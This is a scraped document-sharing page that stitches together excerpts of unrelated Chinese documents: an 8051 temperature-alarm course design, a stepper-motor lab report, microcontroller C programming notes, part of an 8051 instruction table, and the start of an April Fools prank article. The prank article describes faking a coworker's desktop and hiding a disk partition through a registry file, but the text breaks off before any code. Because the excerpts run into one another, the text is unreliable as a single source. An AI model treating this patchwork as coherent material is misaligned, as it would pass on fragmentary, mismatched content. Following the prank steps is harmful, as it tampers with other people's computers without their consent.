基于单片机的温度控制系统设计 1.设计要求 要求设计一个温度测量系统,在超过限制值的时候能进行声光报警。具体设计要求如下: ①数码管或液晶显示屏显示室内当前的温度; ②在不超过最高温度的情况下,能够通过按键设置想要的温度并显示;设有四个按键,分别是设置键、加1键、减1键和启动/复位键; ③DS18B20温度采集; ④超过设置值的±5℃时发出超限报警,采用声光报警,上限报警用红灯指示,下限报警用黄灯指示,正常用绿灯指示。 2.方案论证 根据设计要求,本次设计是基于单片机的课程设计,由于实现功能比较简单,我们学习中接触到的51系列单片机完全可以实现上述功能,因此可以选用AT89C51单片机。温度采集直接可以用设计要求中所要求的DS18B20。报警和指示模块中,可以选用3种不同颜色的LED灯作为指示灯,报警鸣笛采用蜂鸣器。显示模块有两种方案可供选择。 方案一:使用LED数码管显示采集温度和设定温度; 方案二:使用LCD液晶显示屏来显示采集温度和设定温度。 LED数码管结构简单,使用方便,但在使用时,若用动态显示则需要不断更改位选和段选信号,且显示时数码管不断闪动,使人眼容易疲劳;若采用静态显示则又需要更多硬件支持。LCD显示屏可识别性较好,背光亮度可调,而且比LED 数码管显示更多字符,但是编程要求比LED数码管要高。综合考虑之后,我选用了LCD显示屏作为温度显示器件,由于显示字符多,在进行上下限警戒值设定时同样可以采集并显示当前温度,可以直观的看到实际温度与警戒温度的对比。LCD 显示模块可以选用RT1602C。

3.硬件设计 根据设计要求,硬件系统主要包含6个部分,即单片机时钟电路、复位电路、键盘接口模块、温度采集模块、LCD 显示模块、报警与指示模块。其相互联系如下图1所示: 图1 硬件电路设计框图 单片机时钟电路 形成单片机时钟信号的方式有内部时钟方式和外部时钟方式。本次设计采用内部时钟方式,如图2所示。 单片机内部有一个用于构成振荡器的高增益反相放大器,引脚XTAL1和XTAL2分别为此放大器的输入端和输出端,其频率范围为~12MHz ,经由片外晶体振荡器或陶瓷振荡器与两个匹配电容一 起形成了一个自激振荡电路,为单片机提供时钟源。 复位电路 复位是单片机的初始化操作,其作用是使CPU 和系统中的其他部件都处于一个确定的初始状态,并从这个状态开始工作,以防止电源系统不稳定造成CPU 工作不正常。在系统中,有时会出现工作不正常的情况,为了从异常状态中恢复,同时也为了系统调试方便,需要设计一个复位电路。 单片机的复位电路有上电复位和按键复位两种形式,因为本次设计要求需要有启动/复位键,因此本次设计采用按键复位,如图3。复位电路主要完成系统 图2 单片机内部时钟方式电路 图3 单片机按键复位电路

完整版单片机控制系统的设计

学号 07437230 常州大学 硬件实习报告 题目:步进电机单片机控制系统的设计 学生: 学院(系):专业班级: 指导教师: 通信(怀)081单片机原理与应用实习任务书 一、设计题目 步进电机单片机控制系统的设计 二、设计背景 步进电机是工业过程控制及仪表中的主要控制元件之一。它可以在机械结构中把丝杆的角度变成直线位移,也可以用它带动螺旋电位

通信工程系指导教师:孙守昌1、前言 1.1课题的背景、目的和意义 1.1.1课题设计的背景:

步进电机是一种将电脉冲转化为角位移的执行机构。通俗一点讲:当步进驱动器接收到一个脉冲信号,它就驱动步进电机按设定的方向转动一个固定的角度(及步进角)。您可以通过控制脉冲个数来控制角位移量,从而达到准确定位的目的;同时您可以通过控制脉冲频率来控制电机转动的速度和加速度,从而达到调速的目的。步进电机也是工业过程控制及仪表中的主要控制元件之一。它可以在机械结构中把丝杆的角度变成直线位移,也可以用它带动螺旋电位器,调节电压和电流,从而实现对执行机构的控制。在数字控制系统中,由于它可以直接接收计算机输出的数字信号,而不需要进行D/A转换,所以使用起来十分方便。步进电机具有快速的启停能力和精度高的显著特点,在定位场合得到了广泛应用。 1.1.2 课题设计的目的: (1)了解步进电机的结构和工作原理。 (2)掌握步进电机控制系统的设计方法及其调试技术。 (3)能够使用电路仿真软件进行电路调试。步进电机驱动控制系统设计内容 1.1.3 课题设计的意义: 随着工业自动化的发展,步进电机的应用越来越广泛。步进电机是用脉冲信号进行控制,将电脉冲信号转换成相应的角位移或线位移的微电动机,它最突出的优点是可以在宽阔的频率来实现调速,快速起停,正转反转控制及制动等,并且用其组成的开环系统既简单,廉价,又非常可行,因此在打印机等办公自动化设备以及各种控制装备等多领域有着极其广泛的应用。随着微电子和计算机技术的发展,步进电机的需求量与日俱增,研制步进电机驱动器具有十分重要的意义。 1.1.4课题的现状与发展趋势 步进电动机又称脉冲电动机或阶跃电动机,国外一般称为Stepping moter,pulse motor或Stepper servo,其应用发展已有80年的历史。正是由于步进电机具有突出的优点,所以成了机电一体化的关键产品之一,广泛应用在各种自动化控制系统中。随着微电子和计算机技术的发展。步进电机的需求量与日俱增,在各个国民经济领域都有应用。比如在数控系统中就得到了广泛应用。目前世界各国都在大力发展数控技术,我国的数控系统也取得了很大发展,我国已经能够自行研制开发适合我国数控机床发展需要的各种档次的数控系统。

单片机编程源代码

前言 本文是本人上课的一个补充,完全自写,难免有错,请读者给予指正,可发邮件到ZYZ@https://www.wendangku.net/doc/404144183.html,,或郑郁正@中国;以便相互学习。结合课堂的内容,课堂上的部分口述内容,没有写下来;有些具体内容与课堂不相同,但方法是相通的。 针对当前的学生情况,尽可能考虑到学生水平的两端,希望通过本文都学会单片机应用。如果有不懂的内容,不管是不是本课的内容,都可以提出来,这些知识往往代表一大部分同学的情况,但本人通常认为大家对这些知识已精通,而在本文中没有给予描述,由此影响大家的学习。对于这些提出问题的读者,本人在此深表谢意。 想深入详细学习单片机的同学,可以参考其它有关单片机的书籍和资料,尤其是外文资料。如果有什么问题,我们可以相互探讨和研究,共同学习。 本文根据教学的情况,随时进行修改和完善,所以欢迎同学随时注意本文档在课件中的更新情况。 基础知识:单片机编程基础 单片机的外部结构: 1、DIP40双列直插; 2、P0,P1,P2,P3四个8位准双向I/O引脚;(作为I/O输入时,要先输出高电平) 3、电源VCC(PIN40)和地线GND(PIN20); 4、高电平复位RESET(PIN9);(10uF电容接VCC与RESET,即可实现上电复位) 5、内置振荡电路,外部只要接晶体至X1(PIN18)和X0(PIN19);(频率为主频的12倍) 6、程序配置EA(PIN31)接高电平VCC;(运行单片机内部ROM中的程序) 7、P3支持第二功能:RXD、TXD、INT0、INT1、T0、T1 单片机内部I/O部件:(所为学习单片机,实际上就是编程控制以下I/O部件,完成指定任务) 1、四个8位通用I/O端口,对应引脚P0、P1、P2和P3; 2、两个16位定时计数器;(TMOD,TCON,TL0,TH0,TL1,TH1) 3、一个串行通信接口;(SCON,SBUF) 4、一个中断控制器;(IE,IP) 针对AT89C52单片机,头文件AT89x52.h给出了SFR特殊功能寄存器所有端口的定义。教科书的160页给出了针对MCS51系列单片机的C语言扩展变量类型。 C语言编程基础: 1、十六进制表示字节0x5a:二进制为01011010B;0x6E为01101110。 2、如果将一个16位二进数赋给一个8位的字节变量,则自动截断为低8位,而丢掉高8位。 3、++var表示对变量var先增一;var—表示对变量后减一。 4、x |= 0x0f;表示为 x = x | 0x0f; 5、TMOD = ( TMOD & 0xf0 ) | 0x05;表示给变量TMOD的低四位赋值0x5,而不改变TMOD的高四位。 6、While( 1 ); 表示无限执行该语句,即死循环。语句后的分号表示空循环体,也就是{;} 在某引脚输出高电平的编程方法:(比如P1.3(PIN4)引脚)

单片机指令表(最全)

单片机指令以A开头的指令有18条,分别为: 1、ACALL addr11 指令名称:绝对调用指令 指令代码:A10 A9 A8 10001 A7 A6 A5 A4 A3 A2 A1 A0 指令功能:构造目的地址,进行子程序调用。其方法是以指令提供的11位地址(al0~a0),取代PC的低11位,PC的高5位不变。操作内容: PC←(PC)+2SP←(SP)+1 (SP)←(PC)7~0 SP←(SP)+1 (SP)←(PC)15~8 PC10~0←addrl0~0 字节数: 2 机器周期:2 使用说明:由于指令只给出子程序入口地址的低11位,因此调用范围是2KB。 2、ADD A,Rn 指令名称:寄存器加法指令指令代码:28H~2FH 指令功能:累加器内容与寄存器内容相加 操作内容:A←(A)+(Rn),n=0~7 字节数: 1 机器周期;1 影响标志位:C,AC,OV 3、ADD A,direct 指令名称:直接寻址加法指令指令代码:25H 指令功能:累加器内容与内部RAM单元或专用寄存器内容相加操作内容:A←(A)+(direct) 字节数: 2 机器周期:1 影响标志位:C,AC,OV 4、ADD A,@Ri ’ 指令名称:间接寻址加法指令指令代码:26H~27H 指令功能:累加器内容与内部RAM低128单元内容相加 操作内容:A←(A)+((Ri)),i=0,1 字节数: 1 机器周期:1 影响标志位:C,AC,OV 5、ADD A,#data 指令名称:立即数加法指令指令代码:24H 指令功能:累加器内容与立即数相加 操作内容:A←(A)+data 字节数: 2 机器周期:1 影响标志位:C,AC,OV 6、ADDC A,Rn 指令名称:寄存器带进位加法指令指令代码:38H~3FH 指令功能:累加器内容、寄存器内容和进位位相加 操作内容:A←(A)+(Rn)+(C),n=0~7 影响标志位:C,AC,OV 7、ADDC A,direct 指令名称:直接寻址带进位加法指令指令代码:35H 指令功能:累加器内容、内部RAM低128单元或专用寄存器内容与进位位加 操作内容:A←(A)+(direct)+(C) 字节数: 2 机器周期:1 影响标志位:C,AC,OV 8、ADDC A,@Ri 指令名称:间接寻址带进位加法指令指令代码:36H~37H 指令功能:累加器内容, 内部RAM低128单元内容及进位位相加操作内容:A←(A)+((Ri))+(C),i=0,1 字节数: 1 机器周期:1 影响标志位:C,AC,OV 9、ADDC A,#data 指令名称:立即数带进位加法指令指令代码:34H 指令功能:累加器内容、立即数及进位位相加 操作内容:A←(A)+data+(C) 字节数: 2 机器周期:1 影响标志位:C,AC,OV 10、AJMP addr11 指令名称:绝对转移指令 指令代码:A10 A9 A8 1 0 0 0 1 A7 A6 A5 A4 A3 A2 A1 A0 指令功能:构造目的地址,实现程序转移。其方法是以指令提供的11位地址,取代PC的低11位,.而PC的高5位保持不变。操作内容:PC←(PC)+2PCl0~0←addrll 字节数: 2 机器周期:2 使用说明:由于addrll的最小值是000H,最大值是7FFH,因此地址转移范围是2KB。 11、ANL A,Rn 指令名称:寄存器逻辑与指令指令代码:58H~5FH 指令功能:累加器内容逻辑与寄存器内容 操作内容:A←(A)∧(Rn),n=0~7 字节数: 1 机器周期:1 12、ANL A,direct 指令名称:直接寻址逻辑与指令指令代码:55H 指令功能:累加器内容逻辑与内部RAM低128单元或专用寄存器内容 操作内容:A←(A)

愚人节整人网页代码

竭诚为您提供优质文档/双击可除 愚人节整人网页代码 篇一:整人“病毒”代码(一) 发表于20XX-10-2310:33 前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。 ps:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。 一、怎么点都没反应的桌面 如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。 把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开

机中???? 附带:print键截屏方法: 键盘右上方的“printscreensysRq”键的作用是屏幕抓图! 用法一,按“printscreensysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。 用法二,先按住“Alt”键,再按“printscreensysRq”键,则是对当前窗口进行抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试! 二、让电脑硬盘消失-隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了! 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中:

相关文档
相关文档 最新文档